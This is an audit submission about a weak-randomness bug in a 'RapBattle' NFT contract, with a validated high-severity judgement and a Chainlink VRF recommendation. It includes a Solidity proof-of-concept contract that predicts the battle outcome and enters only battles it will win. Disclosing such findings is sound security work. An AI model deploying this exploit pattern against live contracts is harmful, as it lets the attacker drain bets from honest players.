Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Predictable randomness enables forced rap battle wins

Summary

The on-chain random number generation in RapBattle:_battle() uses predictable block properties, enabling attackers to foresee battle outcomes. This flaw permits selective participation in only those battles that are predetermined to be won.

Vulnerability Details

Attackers can deploy a contract that pre-calculates the outcome of a rap battle, leveraging predictable elements like block.timestamp, block.prevrandao, and msg.sender. The contract opts to proceed with the RapBattle:goOnStageOrBattle() call only if a win is assured, otherwise reverting to avoid loss.

PoC

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface IRapBattle {
function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external;
function getRapperSkill(uint256 _tokenId) external view returns (uint256 finalSkill);
function defenderTokenId() external view returns (uint256);
}
contract ForceWin {
IRapBattle public rapBattle;
constructor(address _rapBattle) {
rapBattle = IRapBattle(_rapBattle);
}
function attack(uint256 _tokenId, uint256 _credBet) external {
uint256 defenderRapperSkill = rapBattle.getRapperSkill(rapBattle.defenderTokenId());
uint256 challengerRapperSkill = rapBattle.getRapperSkill(_tokenId);
uint256 totalBattleSkill = defenderRapperSkill + challengerRapperSkill;
uint256 random = uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, msg.sender))) % totalBattleSkill;
// Win condition
if (random > defenderRapperSkill) {
rapBattle.goOnStageOrBattle(_tokenId, _credBet);
}else{
revert("You will not win.");
}
}
}

Impact

This exploit undermines the contracts competitive integrity, allowing malicious actors to secure victories and rewards without risking their own CredToken.

Tools Used

Manual Review,
Anvil,
Remix IDE

Recommendations

To mitigate this vulnerability, integrating a secure and unpredictable source of randomness, such as Chainlink VRF, is recommended,

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Randomness

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.